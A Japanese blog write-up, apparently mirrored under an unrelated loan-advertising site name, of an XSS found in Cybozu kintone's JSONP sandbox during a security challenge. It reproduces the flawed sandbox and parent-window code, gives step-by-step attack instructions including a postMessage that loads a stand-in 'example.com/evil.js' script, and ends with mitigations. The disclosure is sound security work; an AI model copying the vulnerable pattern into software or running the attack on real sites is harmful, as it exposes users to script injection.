金利0無利息キャッシング – キャッシングできます

 | 

2014-01-20

JSONP Sandboxを使ったXSS

23:10 | JSONP Sandboxを使ったXSS - 金利0無利息キャッシング – キャッシングできます を含むブックマーク はてなブックマーク - JSONP Sandboxを使ったXSS - 金利0無利息キャッシング – キャッシングできます

Cybozu security challengeで見つけたXSSについて解説します。とても珍しい感じのXSSで、JSONP sandboxの実装不備というタイトルで報告しました。

slideshareURLが貼られていると、oEmbed APIを使って、スライドを埋め込み表示する機能があり

slideshareの埋め込みコードを取得するのに、JSONP sandboxが使われていた。この実装が不適切で、任意のHTMLを呼び出し元の親windowに出力可能になっていた。

どういう問題があったか

sandboxの実装は概ね以下のようなものだった(記憶をたよりに再現)

  • sandboxとなるiframeは、postMessageでcallするJSONP APIURLを受け取って、scriptタグを追加する。
  • APIレスポンスが返ってきたら、送信元のwindowにpostMessageで返信する。

以下、Sandbox: Aと呼ぶ。

<script>
var count = 0;
window.onmessage = function(e){
	var pair = e.data.split(",", 2);
	var uniq_id = pair[0];
	var url = pair[1];
	var origin = e.origin;
	var cb_func = "callback_" + count;
	window[cb_func] = function(data){
		data.uniq_id = uniq_id;
		e.source.postMessage(data, origin)
	};
	jsonp(url, cb_func);
	count++;
}
function jsonp(url, callback){
	var s = document.createElement("script");
	s.src = url + "&callback=" + callback;
	document.body.appendChild(s);
}
</script>

呼び出し元になる親フレームはこんな感じ。親window: Bと呼ぶ。

<div id="result"></div>
<script>
var sandbox_url = "http://...";
var sandbox_origin = "http://...";
var uniq_id = 0;
var callbacks = [];
window.onmessage = function(e){
	if (e.origin !== sandbox_origin) { return }
	var obj = JSON.parse(e.data);
	callbacks[obj.uniq_id](obj);
	delete callbacks[obj.uniq_id];
};
function extract_slideshare(){
	var api_url = "http://www.slideshare.net/api/oembed/2?url=http://www.slideshare.net/haraldf/business-quotes-for-2011&format=json";
	var onload = function(data){
		document.getElementById("result").innerHTML = data.html;
	};
	callbacks[uniq_id] = onload;
	load_sandbox(uniq_id, api_url);
	uniq_id++;
}
function load_sandbox(uniq_id, api_url){
	var ifm = document.createElement("iframe");
	ifm.onload = function(){
		ifm.postMessage([uniq_id, api_url].join(","), sandbox_origin)
	};
	ifm.src = sandbox_url;
	document.body.appendChild(ifm);
}
</script>

どうやってXSSをするか

  • 1. 無関係なWebサイト(攻撃用ページ)から、iframeもしくはwindow.openでsandbox Aをロードする。
  • 2. sandbox Aに対して、 0,http://example.com/evil.js といったpostMessageを送りつけて攻撃用のscriptを送り込む。
  • 3. 攻撃用のscriptは、BのURLをiframeもしくはwindow.openで開く
  • 4. 攻撃用のscriptは "Bが正規のAPIレスポンスを受信する前に" Bに対して、偽のJSONP APIレスポンスをpostMessageで送りつける。
  • 5. 親window Bは、改竄されたJSONP APIのレスポンスを信用して、任意のHTMLを書き出してしまう。

Cybozuのkintoneの場合には、画面を読み込んだタイミングでslideshareの展開処理が走るようになっていました。上記サンプルでいうところのuniq_idの部分が、他のカウンタにも使われており、ロード直後には100-200前後になっていました。そのため、XSSを成功させるには、window Bの読み込みと同時に、uniq_idの数値を推測して大量にpostMessageで偽のAPIレスポンスを送りつける必要がありました。

JSONP sandboxの存在意義

JSONP sandboxの初出は多分これ?

JSONP sandboxというのは、概ね以下の様な特徴を持っている

  • scriptが実行されても認証情報や機密情報が漏洩しないドメイン上で、JSONP APIをコールする。
  • 受信したデータを親ページに対してpostMessageで返信する
    • 場合によっては古いブラウザのために別の方式でのクロスドメイン通信もサポート

レガシーなJSONP APIはXHR level2 + CORS + JSON.parse を使って置き換えることが出来るけれど、現実的にJSONPが使われているケースはまだまだある。JSONP sandboxを使うことで、機密情報を扱うドメイン上に直接外部のscriptを読み込まずに、ある程度安全にJSONP APIを使うことが出来るようになる。

サーバー側でproxyしても良いのだけれど、例えばIPアドレスあたりのAPI利用回数が制限されているようなケースの場合、proxyしてしまうと制限回数よりも多くAPI callが発生して、利用できなくなってしまうことが考えられる。そういうケースだと個々の利用者が直接JSONP APIを使ってくれる方がありがたいということになる。

傾向と対策

レガシーなJSONP APIをサーバーサイドのproxyを通さずに安全に使う方法として、JSONP sandboxは有用な手法だが、実装方法によっては問題が生じることがある。

基本的には

  • sandboxが読み込み可能なJSONP APIの種類を制限する(任意のscriptをロードできないようにする)

だけで攻撃は不可能になる(slideshare自身が悪意を持ったJSONレスポンスを返さない限り)

付け加えると

  • scriptが直接実行されずとも、外部から提供されるデータということに変わりはないので、innerHTMLへの直接代入は避けたほうがよい。
  • 送信元のoriginを検証することに加えて、送信元のorigin上にXSSがあるならば、送信されてくるmessageも信用出来ない可能性があることに気をつける。

「originを検証せよ」というのはpostMessageのドキュメントにも書かれていて、基本的なことなのだけれど、そもそもpostMessageの送信元になるドメイン上にXSSがあった場合には、それに引きづられてpostMessageの内容も改竄することが可能になる。送信元の検証だけで全面的にpostMessageで送られてきたデータを信用するというポリシーを取るならば、送信元となるoriginが信用できて(グループ会社等)、かつ、XSSがないことを保証しなくてはいけない。送信元が信頼出来ないか、ポリシーが不明な場合には、呼び出し元でAPIレスポンスが安全なものかどうか検証する必要があるだろう。

追記

上記対策で「sandboxが読み込み可能なJSONP APIの種類を制限する」と書いたけど、これはXSS起こさないための対策であって「JSONP sandboxを使う」というポリシーを取るならば、htmlを検証することはshouldではなくてmust(やらないと意味ない)ということに気がついた。

このXSSが面白いと感じたのは、わざわざJSONP sandboxという仕組みを採用する(意識高い)取り組みを行っているのに、実装にバグがあった結果としてJSONPを直接使うよりも危険になってしまったということだ。JSONP APIの提供元が信用できるという前提だったら、直接JSONPを使ってもリスクは変わらないし、js側で検証なしのinnerHTMLへの直接代入をするのであれば、そもそもsandboxを使う意味が無い。

sandboxでproxyする意味は、

という状況から保護するためだ。つまり、API提供元が信用出来ないという前提に立って保護する仕組みなのだから、当然embed用のhtml断片も信用すべきではない。Kintoneで使われていたJSONP sandboxは、「script直接読み込みは危険だと考えるけれど」「APIレスポンス中のhtmlは信用する」という片手落ちになっていたわけだ。

トラックバック - http://subtech.g.hatena.ne.jp/mala/20140120
 |